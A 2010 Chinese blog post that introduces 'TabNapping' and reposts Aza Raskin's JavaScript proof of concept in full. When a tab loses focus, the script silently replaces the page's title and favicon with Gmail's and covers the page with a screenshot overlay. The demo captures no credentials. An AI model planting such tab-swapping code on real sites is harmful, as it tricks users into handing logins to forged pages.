分类

学习笔记 [17]
渗透测试 [4]
一些杂文 [14]
coding [16]
漏洞信息 [17]
技术文章 [15]
开发文档 [8]
个人作品 [5]
PS:个人作品在各种下载栏目均有下载

站内搜索

日历

«  June 2010  »
Su Mo Tu We Th Fr Sa
  12345
6789101112
13141516171819
20212223242526
27282930

访问统计(起于2010/10/2)

访问统计
PortWatcher's Blog
Monday, 2025-06-30, 3:08 AM
Welcome Guest
Main | Registration | Login | RSS

Blog

Main » 2010 » June » 05 » 最近炒的很火的一个钓鱼代码
0:01 AM
最近炒的很火的一个钓鱼代码
还是幻泉大大贴出来的````我发现菜鸟和高手信息的接触层面真的差上很多````
不过我也算是接触到了````

新名词:TabNapping
http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/

Code

/*  
Copyright (c) 2010 Aza Raskin  
http://azarask.in  

Permission is hereby granted, free of charge, to any person  
obtaining a copy of this software and associated documentation  
files (the "Software"), to deal in the Software without  
restriction, including without limitation the rights to use,  
copy, modify, merge, publish, distribute, sublicense, and/or sell  
copies of the Software, and to permit persons to whom the  
Software is furnished to do so, subject to the following  
conditions:  

The above copyright notice and this permission notice shall be  
included in all copies or substantial portions of the Software.  
*/  

(function(){  

var TIMER = null;  
var HAS_SWITCHED = false;  

// Events  
window.onblur = function(){  
  TIMER = setTimeout(changeItUp, 5000);  
}  

window.onfocus = function(){  
  if(TIMER) clearTimeout(TIMER);  
}  

// Utils  
function setTitle(text){ document.title = text; }  

// This favicon object rewritten from:  
// Favicon.js - Change favicon dynamically http://ajaxify.com/run/favicon].  
// Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.  

favicon = {  
  docHead: document.getElementsByTagName("head")[0],  
  set: function(url){  
  this.addLink(url);  
  },  
   
  addLink: function(iconURL) {  
  var link = document.createElement("link");  
  link.type = "image/x-icon";  
  link.rel = "shortcut icon";  
  link.href = iconURL;  
  this.removeLinkIfExists();  
  this.docHead.appendChild(link);  
  },  

  removeLinkIfExists: function() {  
  var links = this.docHead.getElementsByTagName("link");  
  for (var i=0; i<links.length; i++) {  
  var link = links[i];  
  if (link.type=="image/x-icon" && link.rel=="shortcut icon") {  
  this.docHead.removeChild(link);  
  return; // Assuming only one match at most.  
  }  
  }  
  },  
   
  get: function() {  
  var links = this.docHead.getElementsByTagName("link");  
  for (var i=0; i<links.length; i++) {  
  var link = links[i];  
  if (link.type=="image/x-icon" && link.rel=="shortcut icon") {  
  return link.href;  
  }  
  }  
  }  
};  

function createShield(){  
  div = document.createElement("div");  
  div.style.position = "fixed";  
  div.style.top = 0;  
  div.style.left = 0;  
  div.style.backgroundColor = "white";  
  div.style.width = "100%";  
  div.style.height = "100%";  
  div.style.textAlign = "center";  
  document.body.style.overflow = "hidden";  
   
  img = document.createElement("img");  
  img.style.paddingTop = "15px";  
  img.src = "http://img.skitch.com/20100524-b639xgwegpdej3cepch2387ene.png";  
   
  var oldTitle = document.title;  
  var oldFavicon = favicon.get() || "/favicon.ico";  
   
  div.appendChild(img);  
  document.body.appendChild(div);  
  img.onclick = function(){  
  div.parentNode.removeChild(div);  
  document.body.style.overflow = "auto";  
  setTitle(oldTitle);  
  favicon.set(oldFavicon)  
  }  
   

}  

function changeItUp(){  
  if( HAS_SWITCHED == false ){  
  createShield("https://mail.google.com");  
  setTitle( "Gmail: Email from Google");  
  favicon.set("https://mail.google.com/favicon.ico");  
  HAS_SWITCHED = true;  
  }  
}  
   
   
})()
Category: coding | Views: 790 | Added by: Jury | Rating: 2.5/2
Total comments: 0
Name *:
Email *:
Code *: